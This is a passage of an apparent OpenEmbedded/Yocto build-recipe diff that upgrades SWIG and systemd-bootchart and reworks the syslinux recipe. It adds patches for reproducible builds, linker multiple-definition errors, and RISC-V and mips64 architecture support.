-+ Printf(builtin_methods, " { \"%s\", (PyCFunction)%s, %s, \"%s\" },\n", symname, wname, pyflags, ds);
- Delete(ds);
- } else {
-- Printf(builtin_methods, " { \"%s\", (PyCFunction) %s, %s, \"\" },\n", symname, wname, pyflags);
-+ Printf(builtin_methods, " { \"%s\", (PyCFunction)%s, %s, \"\" },\n", symname, wname, pyflags);
- }
- Delete(fullname);
- Delete(wname);
---
-2.7.4
-
diff --git a/meta/recipes-devtools/swig/swig/determinism.patch b/meta/recipes-devtools/swig/swig/determinism.patch
new file mode 100644
index 0000000000..84c399182a
--- /dev/null
+++ b/meta/recipes-devtools/swig/swig/determinism.patch
@@ -0,0 +1,17 @@
+Remove the compiler commandline/platform from the compiled binary as this
+breaks reproducibilty.
+
+Upstream-Status: Inappropriate [OE reproducibiity fix upstream unlikely to take]
+RP 2021/3/1
+
+
+--- a/Source/Modules/main.cxx
++++ b/Source/Modules/main.cxx
+@@ -642,7 +642,6 @@ static void getoptions(int argc, char *a
+ }
+ } else if (strcmp(argv[i], "-version") == 0) {
+ fprintf(stdout, "\nSWIG Version %s\n", Swig_package_version());
+- fprintf(stdout, "\nCompiled with %s [%s]\n", SWIG_CXX, SWIG_PLATFORM);
+ fprintf(stdout, "\nConfigured options: %cpcre\n",
+ #ifdef HAVE_PCRE
+ '+'
diff --git a/meta/recipes-devtools/swig/swig/swig-3.0.12-Coverity-fix-issue-reported-for-SWIG_Python_FixMetho.patch b/meta/recipes-devtools/swig/swig/swig-3.0.12-Coverity-fix-issue-reported-for-SWIG_Python_FixMetho.patch
deleted file mode 100644
index 10e4afd1ba..0000000000
--- a/meta/recipes-devtools/swig/swig/swig-3.0.12-Coverity-fix-issue-reported-for-SWIG_Python_FixMetho.patch
+++ /dev/null
@@ -1,36 +0,0 @@
-From 9825fcbab5c4ddd867432f9922bebfbec7b78af0 Mon Sep 17 00:00:00 2001
-From: Mark Dufour <m.dufour@kopano.com>
-Date: Tue, 14 Feb 2017 10:34:37 +0100
-Subject: [PATCH] [Coverity] fix issue reported for SWIG_Python_FixMethods
-
-Fix Coverity issue reported for SWIG_Python_FixMethods:
-
-"buffer_size: Calling strncpy with a source string whose length
-(10 chars) is greater than or equal to the size argument (10)
-will fail to null-terminate buff."
-
-The issue is only reported for the "swig_ptr: " line, but for
-consistency we replace both occurrences of strncpy with memcpy.
----
-Signed-off-by: Khem Raj <raj.khem@gmail.com>
-Upstream-Status: Backport [https://github.com/swig/swig/pull/898]
-
- Lib/python/pyinit.swg | 4 ++--
- 1 file changed, 2 insertions(+), 2 deletions(-)
-
-Index: swig-3.0.12/Lib/python/pyinit.swg
-===================================================================
---- swig-3.0.12.orig/Lib/python/pyinit.swg
-+++ swig-3.0.12/Lib/python/pyinit.swg
-@@ -306,9 +306,9 @@ SWIG_Python_FixMethods(PyMethodDef *meth
- char *ndoc = (char*)malloc(ldoc + lptr + 10);
- if (ndoc) {
- char *buff = ndoc;
-- strncpy(buff, methods[i].ml_doc, ldoc);
-+ memcpy(buff, methods[i].ml_doc, ldoc);
- buff += ldoc;
-- strncpy(buff, "swig_ptr: ", 10);
-+ memcpy(buff, "swig_ptr: ", 10);
- buff += 10;
- SWIG_PackVoidPtr(buff, ptr, ty->name, lptr);
- methods[i].ml_doc = ndoc;
diff --git a/meta/recipes-devtools/swig/swig_3.0.12.bb b/meta/recipes-devtools/swig/swig_3.0.12.bb
deleted file mode 100644
index 45026c9700..0000000000
--- a/meta/recipes-devtools/swig/swig_3.0.12.bb
+++ /dev/null
@@ -1,12 +0,0 @@
-require ${BPN}.inc
-
-SRC_URI += "file://0001-Use-proc-self-exe-for-swig-swiglib-on-non-Win32-plat.patch \
- file://0001-configure-use-pkg-config-for-pcre-detection.patch \
- file://0001-Add-Node-7.x-aka-V8-5.2-support.patch \
- file://swig-3.0.12-Coverity-fix-issue-reported-for-SWIG_Python_FixMetho.patch \
- file://Python-Fix-new-GCC8-warnings-in-generated-code.patch \
- file://0001-Fix-generated-code-for-constant-expressions-containi.patch \
- "
-SRC_URI[md5sum] = "82133dfa7bba75ff9ad98a7046be687c"
-SRC_URI[sha256sum] = "7cf9f447ae7ed1c51722efc45e7f14418d15d7a1e143ac9f09a668999f4fc94d"
-
diff --git a/meta/recipes-devtools/swig/swig_4.0.2.bb b/meta/recipes-devtools/swig/swig_4.0.2.bb
new file mode 100644
index 0000000000..718ad89a5d
--- /dev/null
+++ b/meta/recipes-devtools/swig/swig_4.0.2.bb
@@ -0,0 +1,7 @@
+require ${BPN}.inc
+
+SRC_URI += "file://0001-Use-proc-self-exe-for-swig-swiglib-on-non-Win32-plat.patch \
+ file://0001-configure-use-pkg-config-for-pcre-detection.patch \
+ file://determinism.patch \
+ "
+SRC_URI[sha256sum] = "d53be9730d8d58a16bf0cbd1f8ac0c0c3e1090573168bfa151b01eb47fa906fc"
diff --git a/meta/recipes-devtools/syslinux/syslinux/0001-linux-syslinux-support-ext2-3-4-device.patch b/meta/recipes-devtools/syslinux/syslinux/0001-linux-syslinux-support-ext2-3-4-device.patch
index 3ab7875274..47a8dac10e 100644
--- a/meta/recipes-devtools/syslinux/syslinux/0001-linux-syslinux-support-ext2-3-4-device.patch
+++ b/meta/recipes-devtools/syslinux/syslinux/0001-linux-syslinux-support-ext2-3-4-device.patch
@@ -10,7 +10,7 @@ Subject: [PATCH 1/9] linux/syslinux: support ext2/3/4 device
* The ext2/3/4 support doesn't require root privileges since it doesn't need
mount (but write permission is required).
-Upstream-Status: Submitted
+Upstream-Status: Submitted [https://www.syslinux.org/archives/2015-January/023039.html]
Signed-off-by: Robert Yang <liezhi.yang@windriver.com>
Tested-by: Du Dolpher <dolpher.du@intel.com>
diff --git a/meta/recipes-devtools/syslinux/syslinux/0010-Workaround-multiple-definition-of-symbol-errors.patch b/meta/recipes-devtools/syslinux/syslinux/0010-Workaround-multiple-definition-of-symbol-errors.patch
new file mode 100644
index 0000000000..44cb153276
--- /dev/null
+++ b/meta/recipes-devtools/syslinux/syslinux/0010-Workaround-multiple-definition-of-symbol-errors.patch
@@ -0,0 +1,97 @@
+From 951928f2cad5682c2844e6bd0f7201236c5d9b66 Mon Sep 17 00:00:00 2001
+From: Merlin Mathesius <mmathesi@redhat.com>
+Date: Wed, 13 May 2020 08:02:27 -0500
+Subject: [PATCH] Workaround multiple definition of symbol errors
+
+Lifted from Fedora https://src.fedoraproject.org/rpms/syslinux/blob/master/f/0005-Workaround-multiple-definition-of-symbol-errors.patch
+
+Upstream-Status: Pending
+Signed-off-by: Khem Raj <raj.khem@gmail.com>
+
+---
+ com32/cmenu/Makefile | 2 +-
+ com32/elflink/ldlinux/Makefile | 2 +-
+ com32/gpllib/Makefile | 2 +-
+ com32/hdt/Makefile | 2 +-
+ core/Makefile | 2 +-
+ dos/Makefile | 2 +-
+ efi/Makefile | 2 +-
+ 7 files changed, 7 insertions(+), 7 deletions(-)
+
+--- a/com32/cmenu/Makefile
++++ b/com32/cmenu/Makefile
+@@ -49,7 +49,7 @@ makeoutputdirs:
+ @mkdir -p $(OBJ)/libmenu
+
+ libmenu/libmenu.elf: $(LIBMENU)
+- $(LD) -shared $(LDFLAGS) -soname $(patsubst %.elf,%.c32,$(@F)) \
++ $(LD) -shared $(LDFLAGS) -z muldefs -soname $(patsubst %.elf,%.c32,$(@F)) \
+ -o $@ $^
+
+ tidy dist:
+--- a/com32/elflink/ldlinux/Makefile
++++ b/com32/elflink/ldlinux/Makefile
+@@ -33,7 +33,7 @@ endif
+ all: $(BTARGET) ldlinux_lnx.a
+
+ ldlinux.elf : $(OBJS)
+- $(LD) $(LDFLAGS) -soname $(SONAME) -o $@ $^ $(LIBS)
++ $(LD) $(LDFLAGS) -z muldefs -soname $(SONAME) -o $@ $^ $(LIBS)
+
+ LNXCFLAGS += -D__export='__attribute__((visibility("default")))'
+ LNXLIBOBJS = get_key.lo
+--- a/com32/gpllib/Makefile
++++ b/com32/gpllib/Makefile
+@@ -24,7 +24,7 @@ makeoutputdirs:
+ $(addprefix $(OBJ),$(sort $(dir $(LIBOBJS)))),$(b))
+
+ libgpl.elf : $(LIBOBJS)
+- $(LD) -shared $(LDFLAGS) -soname $(patsubst %.elf,%.c32,$(@F)) -o $@ $^
++ $(LD) -shared $(LDFLAGS) -z muldefs -soname $(patsubst %.elf,%.c32,$(@F)) -o $@ $^
+
+ tidy dist clean:
+ find . \( -name \*.o -o -name .\*.d -o -name \*.tmp \) -print0 | \
+--- a/com32/hdt/Makefile
++++ b/com32/hdt/Makefile
+@@ -52,7 +52,7 @@ QEMU ?= qemu-kvm
+ all: $(MODULES) $(TESTFILES)
+
+ hdt.elf : $(OBJS) $(LIBS) $(C_LIBS)
+- $(LD) $(LDFLAGS) -o $@ $^
++ $(LD) $(LDFLAGS) -z muldefs -o $@ $^
+
+ memtest:
+ -[ ! -f $(FLOPPY_DIR)/$(MEMTEST) ] && $(WGET) $(MEMTEST_URL) -O $(FLOPPY_DIR)/$(MEMTEST)
+--- a/core/Makefile
++++ b/core/Makefile
+@@ -156,7 +156,7 @@ LDSCRIPT = $(SRC)/$(ARCH)/syslinux.ld
+ NASM_ELF = elf
+
+ %.elf: %.o $(LIBDEP) $(LDSCRIPT) $(AUXLIBS)
+- $(LD) $(LDFLAGS) -pie -Bsymbolic \
++ $(LD) $(LDFLAGS) -z muldefs -pie -Bsymbolic \
+ -T $(LDSCRIPT) \
+ --unresolved-symbols=report-all \
+ -E --hash-style=gnu -M -o $@ $< \
+--- a/dos/Makefile
++++ b/dos/Makefile
+@@ -19,7 +19,7 @@ include $(MAKEDIR)/embedded.mk
+ CFLAGS += -D__MSDOS__ -mregparm=3 -DREGPARM=3
+ # CFLAGS += -DDEBUG
+
+-LDFLAGS = -T $(SRC)/dosexe.ld
++LDFLAGS = -T $(SRC)/dosexe.ld -z muldefs
+ OPTFLAGS = -g
+ INCLUDES = -include code16.h -nostdinc -iwithprefix include \
+ -I$(SRC) -I$(SRC)/.. -I$(SRC)/../libfat \
+--- a/efi/Makefile
++++ b/efi/Makefile
+@@ -71,7 +71,7 @@ $(OBJS): | $(OBJ)/$(ARCH)
+ BTARGET = syslinux.efi
+
+ syslinux.so: $(OBJS) $(CORE_OBJS) $(LIB_OBJS)
+- $(LD) $(LDFLAGS) --strip-debug -o $@ $^ -lgnuefi -lefi
++ $(LD) $(LDFLAGS) -z muldefs --strip-debug -o $@ $^ -lgnuefi -lefi
+
+ # We need to rename the .hash section because the EFI firmware
+ # linker really doesn't like it.
diff --git a/meta/recipes-devtools/syslinux/syslinux/determinism.patch b/meta/recipes-devtools/syslinux/syslinux/determinism.patch
new file mode 100644
index 0000000000..2fb8c64df3
--- /dev/null
+++ b/meta/recipes-devtools/syslinux/syslinux/determinism.patch
@@ -0,0 +1,22 @@
+In order to build deterministic binaries, we need to sort the wildcard expansion
+so the libraries are linked in the same order each time. This fixes reproducibility
+issues within syslinux builds.
+
+Upstream-Status: Pending
+RP 2021/3/1
+
+Index: syslinux-6.04-pre2/mk/lib.mk
+===================================================================
+--- syslinux-6.04-pre2.orig/mk/lib.mk
++++ syslinux-6.04-pre2/mk/lib.mk
+@@ -130,8 +130,8 @@ LIBENTRY_OBJS = \
+ exit.o
+
+ LIBGCC_OBJS = \
+- $(patsubst $(com32)/lib/%.c,%.o,$(wildcard $(com32)/lib/$(ARCH)/libgcc/*.c)) \
+- $(patsubst $(com32)/lib/%.S,%.o,$(wildcard $(com32)/lib/$(ARCH)/libgcc/*.S))
++ $(sort $(patsubst $(com32)/lib/%.c,%.o,$(wildcard $(com32)/lib/$(ARCH)/libgcc/*.c))) \
++ $(sort $(patsubst $(com32)/lib/%.S,%.o,$(wildcard $(com32)/lib/$(ARCH)/libgcc/*.S)))
+
+ LIBCONSOLE_OBJS = \
+ \
diff --git a/meta/recipes-devtools/syslinux/syslinux_6.04-pre2.bb b/meta/recipes-devtools/syslinux/syslinux_6.04-pre2.bb
index e9dbefb930..0e4a23c1b4 100644
--- a/meta/recipes-devtools/syslinux/syslinux_6.04-pre2.bb
+++ b/meta/recipes-devtools/syslinux/syslinux_6.04-pre2.bb
@@ -1,13 +1,11 @@
SUMMARY = "Multi-purpose linux bootloader"
HOMEPAGE = "http://www.syslinux.org/"
-LICENSE = "GPLv2+"
+DESCRIPTION = "The Syslinux Project covers lightweight bootloaders for MS-DOS FAT filesystems (SYSLINUX), network booting (PXELINUX), bootable "El Torito" CD-ROMs (ISOLINUX), and Linux ext2/ext3/ext4 or btrfs filesystems (EXTLINUX). The project also includes MEMDISK, a tool to boot legacy operating systems (such as DOS) from nontraditional media; it is usually used in conjunction with PXELINUX and ISOLINUX."
+LICENSE = "GPL-2.0-or-later"
LIC_FILES_CHKSUM = "file://COPYING;md5=0636e73ff0215e8d672dc4c32c317bb3 \
file://README;beginline=35;endline=41;md5=558f2c71cb1fb9ba511ccd4858e48e8a"
-# If you really want to run syslinux, you need mtools. We just want the
-# ldlinux.* stuff for now, so skip mtools-native
DEPENDS = "nasm-native util-linux e2fsprogs"
-PV = "6.04-pre2"
SRC_URI = "https://www.zytor.com/pub/syslinux/Testing/6.04/syslinux-${PV}.tar.xz \
file://syslinux-remove-clean-script.patch \
@@ -20,87 +18,107 @@ SRC_URI = "https://www.zytor.com/pub/syslinux/Testing/6.04/syslinux-${PV}.tar.xz
file://0007-linux-syslinux-implement-ext_construct_sectmap_fs.patch \
file://0008-libinstaller-syslinuxext-implement-syslinux_patch_bo.patch \
file://0009-linux-syslinux-implement-install_bootblock.patch \
+ file://0010-Workaround-multiple-definition-of-symbol-errors.patch \
file://0001-install-don-t-install-obsolete-file-com32.ld.patch \
+ file://determinism.patch \
"
SRC_URI[md5sum] = "2b31c78f087f99179feb357da312d7ec"
SRC_URI[sha256sum] = "4441a5d593f85bb6e8d578cf6653fb4ec30f9e8f4a2315a3d8f2d0a8b3fadf94"
+# remove at next version upgrade or when output changes
+PR = "r1"
+
+RECIPE_NO_UPDATE_REASON = "6.04-pre3 is broken"
UPSTREAM_CHECK_URI = "https://www.zytor.com/pub/syslinux/"
UPSTREAM_CHECK_REGEX = "syslinux-(?P<pver>.+)\.tar"
UPSTREAM_VERSION_UNKNOWN = "1"
-COMPATIBLE_HOST = '(x86_64|i.86).*-(linux|freebsd.*)'
+# We can build the native parts anywhere, but the target has to be x86
+COMPATIBLE_HOST:class-target = '(x86_64|i.86).*-(linux|freebsd.*)'
+
# Don't let the sanity checker trip on the 32 bit real mode BIOS binaries
-INSANE_SKIP_${PN}-misc = "arch"
-INSANE_SKIP_${PN}-chain = "arch"
+INSANE_SKIP:${PN}-misc = "arch"
+INSANE_SKIP:${PN}-chain = "arch"
+
+# When building the installer, CC is used to link. When building the bootloader,
+# LD is used. However, these variables assume that GCC is used and break the
+# build, so unset them.
+TARGET_LDFLAGS = ""
+SECURITY_LDFLAGS = ""
+LDFLAGS_SECTION_REMOVAL = ""
+
+CFLAGS:append = " -DNO_INLINE_FUNCS"
EXTRA_OEMAKE = " \
BINDIR=${bindir} SBINDIR=${sbindir} LIBDIR=${libdir} \
DATADIR=${datadir} MANDIR=${mandir} INCDIR=${includedir} \
+ CC="${CC} ${CFLAGS} ${LDFLAGS}" \
+ LD="${LD} ${LDFLAGS}" \
+ OBJDUMP="${OBJDUMP}" \
+ OBJCOPY="${OBJCOPY}" \
+ AR="${AR}" \
+ STRIP="${STRIP}" \
+ NM="${NM}" \
+ RANLIB="${RANLIB}" \
"
+#
+# Tasks for native/nativesdk which just build the installer.
+#
do_configure() {
- # drop win32 targets or build fails
- sed -e 's,win32/\S*,,g' -i Makefile
-
- # clean installer executables included in source tarball
- oe_runmake clean firmware="efi32" EFIINC="${includedir}"
- # NOTE: There is a temporary work around above to specify
- # the efi32 as the firmware else the pre-built bios
- # files get erased contrary to the doc/distib.txt
- # In the future this should be "bios" and not "efi32".
+ oe_runmake firmware="bios" clean
}
do_compile() {
- # Make sure the recompile is OK.
- # Though the ${B} should always exist, still check it before find and rm.
- [ -d "${B}" ] && find ${B} -name '.*.d' -type f -exec rm -f {} \;
-
- # Rebuild only the installer; keep precompiled bootloaders
- # as per author's request (doc/distrib.txt)
- oe_runmake CC="${CC} ${CFLAGS}" \
- LD="${LD}" LDFLAGS="${LDFLAGS}" \
- OBJDUMP="${OBJDUMP}" \
- OBJCOPY="${OBJCOPY}" \
- AR="${AR}" \
- STRIP="${STRIP}" \
- NM="${NM}" \
- RANLIB="${RANLIB}" \
- firmware="bios" installer
+ oe_runmake firmware="bios" installer
}
do_install() {
- oe_runmake CC="${CC} ${CFLAGS}" LD="${LD}" \
- OBJDUMP="${OBJDUMP}" \
- OBJCOPY="${OBJCOPY}" \
- AR="${AR}" \
- STRIP="${STRIP}" \
- NM="${NM}" \
- RANLIB="${RANLIB}" \
- firmware="bios" install INSTALLROOT="${D}"
+ install -d ${D}${bindir}
+ install \
+ ${B}/bios/mtools/syslinux \
+ ${B}/bios/extlinux/extlinux \
+ ${B}/bios/utils/isohybrid \
+ ${D}${bindir}
+}
+
+#
+# Tasks for target which ship the precompiled bootloader and installer
+#
+do_configure:class-target() {
+ # No need to do anything as we're mostly shipping the precompiled binaries
+ :
+}
+
+do_compile:class-target() {
+ # No need to do anything as we're mostly shipping the precompiled binaries
+ :
+}
+
+do_install:class-target() {
+ oe_runmake firmware="bios" install INSTALLROOT="${D}"
install -d ${D}${datadir}/syslinux/
install -m 644 ${S}/bios/core/ldlinux.sys ${D}${datadir}/syslinux/
install -m 644 ${S}/bios/core/ldlinux.bss ${D}${datadir}/syslinux/
- install -m 755 ${S}/bios/linux/syslinux-nomtools ${D}${bindir}/
}
PACKAGES += "${PN}-nomtools ${PN}-extlinux ${PN}-mbr ${PN}-chain ${PN}-pxelinux ${PN}-isolinux ${PN}-misc"
-RDEPENDS_${PN} += "mtools"
-RDEPENDS_${PN}-nomtools += "libext2fs"
-RDEPENDS_${PN}-misc += "perl"
-
-FILES_${PN} = "${bindir}/syslinux"
-FILES_${PN}-nomtools = "${bindir}/syslinux-nomtools"
-FILES_${PN}-extlinux = "${sbindir}/extlinux"
-FILES_${PN}-mbr = "${datadir}/${BPN}/mbr.bin"
-FILES_${PN}-chain = "${datadir}/${BPN}/chain.c32"
-FILES_${PN}-isolinux = "${datadir}/${BPN}/isolinux.bin"
-FILES_${PN}-pxelinux = "${datadir}/${BPN}/pxelinux.0"
-FILES_${PN}-dev += "${datadir}/${BPN}/com32/lib*${SOLIBS} ${datadir}/${BPN}/com32/include ${datadir}/${BPN}/com32/com32.ld"
-FILES_${PN}-staticdev += "${datadir}/${BPN}/com32/lib*.a ${libdir}/${BPN}/com32/lib*.a"
-FILES_${PN}-misc = "${datadir}/${BPN}/* ${libdir}/${BPN}/* ${bindir}/*"
+RDEPENDS:${PN} += "mtools"
+RDEPENDS:${PN}-nomtools += "libext2fs"
+RDEPENDS:${PN}-misc += "perl"
+
+FILES:${PN} = "${bindir}/syslinux"
+FILES:${PN}-nomtools = "${bindir}/syslinux-nomtools"
+FILES:${PN}-extlinux = "${sbindir}/extlinux"
+FILES:${PN}-mbr = "${datadir}/${BPN}/mbr.bin"
+FILES:${PN}-chain = "${datadir}/${BPN}/chain.c32"
+FILES:${PN}-isolinux = "${datadir}/${BPN}/isolinux.bin"
+FILES:${PN}-pxelinux = "${datadir}/${BPN}/pxelinux.0"
+FILES:${PN}-dev += "${datadir}/${BPN}/com32/lib*${SOLIBS} ${datadir}/${BPN}/com32/include ${datadir}/${BPN}/com32/com32.ld"
+FILES:${PN}-staticdev += "${datadir}/${BPN}/com32/lib*.a ${libdir}/${BPN}/com32/lib*.a"
+FILES:${PN}-misc = "${datadir}/${BPN}/* ${libdir}/${BPN}/* ${bindir}/*"
BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-devtools/systemd-bootchart/systemd-bootchart/0001-architecture-Recognise-RISCV-32-RISCV-64.patch b/meta/recipes-devtools/systemd-bootchart/systemd-bootchart/0001-architecture-Recognise-RISCV-32-RISCV-64.patch
new file mode 100644
index 0000000000..fc03812bb9
--- /dev/null
+++ b/meta/recipes-devtools/systemd-bootchart/systemd-bootchart/0001-architecture-Recognise-RISCV-32-RISCV-64.patch
@@ -0,0 +1,45 @@
+From 4a6ace0a965965ea15e88c3418c7158ca5cc9f8f Mon Sep 17 00:00:00 2001
+From: Khem Raj <raj.khem@gmail.com>
+Date: Thu, 21 Nov 2019 10:12:05 -0800
+Subject: [PATCH] architecture: Recognise RISCV-32/RISCV-64
+
+Upstream-Status: Backport [https://github.com/systemd/systemd/commit/171b53380085b1288b03b19a2b978f36a5c003d0]
+Signed-off-by: Khem Raj <raj.khem@gmail.com>
+---
+ src/architecture.h | 13 +++++++++++++
+ 1 file changed, 13 insertions(+)
+
+diff --git a/src/architecture.h b/src/architecture.h
+index 26679e2..89c7d32 100644
+--- a/src/architecture.h
++++ b/src/architecture.h
+@@ -57,6 +57,8 @@ enum {
+ ARCHITECTURE_M68K,
+ ARCHITECTURE_TILEGX,
+ ARCHITECTURE_CRIS,
++ ARCHITECTURE_RISCV32,
++ ARCHITECTURE_RISCV64,
+ _ARCHITECTURE_MAX,
+ _ARCHITECTURE_INVALID = -1
+ };
+@@ -194,6 +196,17 @@ int uname_architecture(void);
+ #elif defined(__cris__)
+ # define native_architecture() ARCHITECTURE_CRIS
+ # error "Missing LIB_ARCH_TUPLE for CRIS"
++#elif defined(__riscv)
++# if __SIZEOF_POINTER__ == 4
++# define native_architecture() ARCHITECTURE_RISCV32
++# define LIB_ARCH_TUPLE "riscv32-linux-gnu"
++# elif __SIZEOF_POINTER__ == 8
++# define native_architecture() ARCHITECTURE_RISCV64
++# define LIB_ARCH_TUPLE "riscv64-linux-gnu"
++# else
++# error "Unrecognized riscv architecture variant"
++# endif
++# define PROC_CPUINFO_MODEL "cpu model"
+ #else
+ # error "Please register your architecture here!"
+ #endif
+--
+2.24.0
+
diff --git a/meta/recipes-devtools/systemd-bootchart/systemd-bootchart/0001-comparison_fn_t-is-glibc-specific-use-raw-signature-.patch b/meta/recipes-devtools/systemd-bootchart/systemd-bootchart/0001-comparison_fn_t-is-glibc-specific-use-raw-signature-.patch
index f392ceafcc..12eecc989b 100644
--- a/meta/recipes-devtools/systemd-bootchart/systemd-bootchart/0001-comparison_fn_t-is-glibc-specific-use-raw-signature-.patch
+++ b/meta/recipes-devtools/systemd-bootchart/systemd-bootchart/0001-comparison_fn_t-is-glibc-specific-use-raw-signature-.patch
@@ -12,8 +12,8 @@ systemd/0013-comparison_fn_t-is-glibc-specific-use-raw-signature-.patch
Based on work by: Khem Raj <raj.khem@gmail.com>
Signed-off-by: Tim Orling <timothy.t.orling@linux.intel.com>
+Upstream-Status: Submitted [https://github.com/systemd/systemd-bootchart/pull/47]
---
-Upstream-Status: Pending
src/util.h | 2 +-
1 file changed, 1 insertion(+), 1 deletion(-)
diff --git a/meta/recipes-devtools/systemd-bootchart/systemd-bootchart/0002-musl-does-not-provide-printf-h.patch b/meta/recipes-devtools/systemd-bootchart/systemd-bootchart/0002-musl-does-not-provide-printf-h.patch
index 196272f7a2..8be3bed395 100644
--- a/meta/recipes-devtools/systemd-bootchart/systemd-bootchart/0002-musl-does-not-provide-printf-h.patch
+++ b/meta/recipes-devtools/systemd-bootchart/systemd-bootchart/0002-musl-does-not-provide-printf-h.patch
@@ -10,8 +10,8 @@ Original patch author: Emil Renner Berthing <systemd@esmil.dk>
Includes work by: Khem Raj <raj.khem@gmail.com>
Signed-off-by: Tim Orling <timothy.t.orling@linux.intel.com>
+Upstream-Status: Submitted [https://github.com/systemd/systemd-bootchart/pull/47]
---
-Upstream-Status: Pending
Makefile.am | 4 +
configure.ac | 3 +
diff --git a/meta/recipes-devtools/systemd-bootchart/systemd-bootchart/0003-musl-does-not-provide-canonicalize_file_name.patch b/meta/recipes-devtools/systemd-bootchart/systemd-bootchart/0003-musl-does-not-provide-canonicalize_file_name.patch
index 7670d95f07..c2c276e458 100644
--- a/meta/recipes-devtools/systemd-bootchart/systemd-bootchart/0003-musl-does-not-provide-canonicalize_file_name.patch
+++ b/meta/recipes-devtools/systemd-bootchart/systemd-bootchart/0003-musl-does-not-provide-canonicalize_file_name.patch
@@ -9,8 +9,8 @@ systemd/0007-check-for-missing-canonicalize_file_name.patch
Based on work by: Khem Raj <raj.khem@gmail.com>
Signed-off-by: Tim Orling <timothy.t.orling@linux.intel.com>
+Upstream-Status: Submitted [https://github.com/systemd/systemd-bootchart/pull/47]
---
-Upstream-Status: Pending
src/path-util.c | 2 +-
1 file changed, 1 insertion(+), 1 deletion(-)
diff --git a/meta/recipes-devtools/systemd-bootchart/systemd-bootchart/mips64.patch b/meta/recipes-devtools/systemd-bootchart/systemd-bootchart/mips64.patch
new file mode 100644
index 0000000000..6206bc4b44
--- /dev/null
+++ b/meta/recipes-devtools/systemd-bootchart/systemd-bootchart/mips64.patch
@@ -0,0 +1,35 @@
+Recognise mips64 n32/n64
+
+These are supported in systemd now a days
+
+Upstream-Status: Backport [https://github.com/systemd/systemd/commit/caf49b95b3a6efe9455078098c729d83b08e5206]
+Signed-off-by: Khem Raj <raj.khem@gmail.com>
+
+--- a/src/architecture.h
++++ b/src/architecture.h
+@@ -127,13 +127,22 @@ int uname_architecture(void);
+ # define native_architecture() ARCHITECTURE_SPARC
+ # define LIB_ARCH_TUPLE "sparc-linux-gnu"
+ # define PROC_CPUINFO_MODEL "cpu"
+-#elif defined(__mips64__)
++#elif defined(__mips64) && defined(__LP64__)
+ # if __BYTE_ORDER == __BIG_ENDIAN
+ # define native_architecture() ARCHITECTURE_MIPS64
+-# error "Missing LIB_ARCH_TUPLE for MIPS64"
++# define LIB_ARCH_TUPLE "mips64-linux-gnuabi64"
+ # else
+ # define native_architecture() ARCHITECTURE_MIPS64_LE
+-# error "Missing LIB_ARCH_TUPLE for MIPS64_LE"
++# define LIB_ARCH_TUPLE "mips64el-linux-gnuabi64"
++# endif
++# define PROC_CPUINFO_MODEL "cpu model"
++#elif defined(__mips64)
++# if __BYTE_ORDER == __BIG_ENDIAN
++# define native_architecture() ARCHITECTURE_MIPS64
++# define LIB_ARCH_TUPLE "mips64-linux-gnuabin32"
++# else
++# define native_architecture() ARCHITECTURE_MIPS64_LE
++# define LIB_ARCH_TUPLE "mips64el-linux-gnuabin32"
+ # endif
+ # define PROC_CPUINFO_MODEL "cpu model"
+ #elif defined(__mips__)
diff --git a/meta/recipes-devtools/systemd-bootchart/systemd-bootchart/no_lto.patch b/meta/recipes-devtools/systemd-bootchart/systemd-bootchart/no_lto.patch
new file mode 100644
index 0000000000..1fdf8dbcc2
--- /dev/null
+++ b/meta/recipes-devtools/systemd-bootchart/systemd-bootchart/no_lto.patch
@@ -0,0 +1,19 @@
+LTO output is not reproducible. Until it is, disable this. Sadly
+there is no configuration option to do so at this time.
+
+Upstream-Status: Pending [may be accept addition of configuration option?]
+RP 2021/3/1
+
+Index: git/configure.ac
+===================================================================
+--- git.orig/configure.ac
++++ git/configure.ac
+@@ -124,7 +124,7 @@ AS_CASE([$CC], [*clang*],
+
+ AS_CASE([$CFLAGS], [*-O[[12345sz\ ]]*],
+ [CC_CHECK_FLAGS_APPEND([with_cflags], [CFLAGS], [\
+- -flto -ffat-lto-objects])],
++ ])],
+ [AC_MSG_RESULT([skipping -flto, optimization not enabled])])
+ AC_SUBST([OUR_CFLAGS], "$with_cflags $sanitizer_cflags")
+
diff --git a/meta/recipes-devtools/systemd-bootchart/systemd-bootchart_233.bb b/meta/recipes-devtools/systemd-bootchart/systemd-bootchart_233.bb
deleted file mode 100644
index b0433e0e99..0000000000
--- a/meta/recipes-devtools/systemd-bootchart/systemd-bootchart_233.bb
+++ /dev/null
@@ -1,37 +0,0 @@
-LICENSE = "LGPLv2.1 & GPLv2"
-LIC_FILES_CHKSUM = "file://LICENSE.LGPL2.1;md5=4fbd65380cdd255951079008b364516c \
- file://LICENSE.GPL2;md5=751419260aa954499f7abaabaa882bbe"
-
-SRC_URI = "git://github.com/systemd/systemd-bootchart.git;protocol=https \
-"
-
-SRC_URI_append_libc-musl = " \
- file://0001-comparison_fn_t-is-glibc-specific-use-raw-signature-.patch \
- file://0002-musl-does-not-provide-printf-h.patch \
- file://0003-musl-does-not-provide-canonicalize_file_name.patch \
- "
-
-
-# Modify these as desired
-PV = "233+git${SRCPV}"
-SRCREV = "fe1c5e41e6bdb78043dad8fa863fc2df66d1dadf"
-
-S = "${WORKDIR}/git"
-
-DEPENDS = "systemd libxslt-native xmlto-native docbook-xml-dtd4-native docbook-xsl-stylesheets-native intltool"
-
-inherit pkgconfig autotools systemd distro_features_check
-
-REQUIRED_DISTRO_FEATURES = "systemd"
-
-SYSTEMD_SERVICE_${PN} = "systemd-bootchart.service"
-
-do_configure_prepend() {
- # intltool.m4 is a soft link to /usr/share/aclocal/m4, delete it and use the one in our sysroot
- rm -f ${S}/m4/intltool.m4
-}
-
-FILES_${PN} += "${systemd_unitdir}/systemd-bootchart"
-
-EXTRA_OECONF = " --with-rootprefix=${root_prefix} \
- --with-rootlibdir=${base_libdir}"
diff --git a/meta/recipes-devtools/systemd-bootchart/systemd-bootchart_234.bb b/meta/recipes-devtools/systemd-bootchart/systemd-bootchart_234.bb
new file mode 100644
index 0000000000..bc3eee2093
--- /dev/null
+++ b/meta/recipes-devtools/systemd-bootchart/systemd-bootchart_234.bb
@@ -0,0 +1,44 @@
+SUMMARY = "Boot performance graphing tool"
+DESCRIPTION = "For systemd-bootchart, several proc debug interfaces are required in the kernel config: \
+ CONFIG_SCHEDSTATS \
+below is optional, for additional info: \
+ CONFIG_SCHED_DEBUG"
+HOMEPAGE = "https://github.com/systemd/systemd-bootchart"
+LICENSE = "LGPL-2.1-only & GPL-2.0-only"
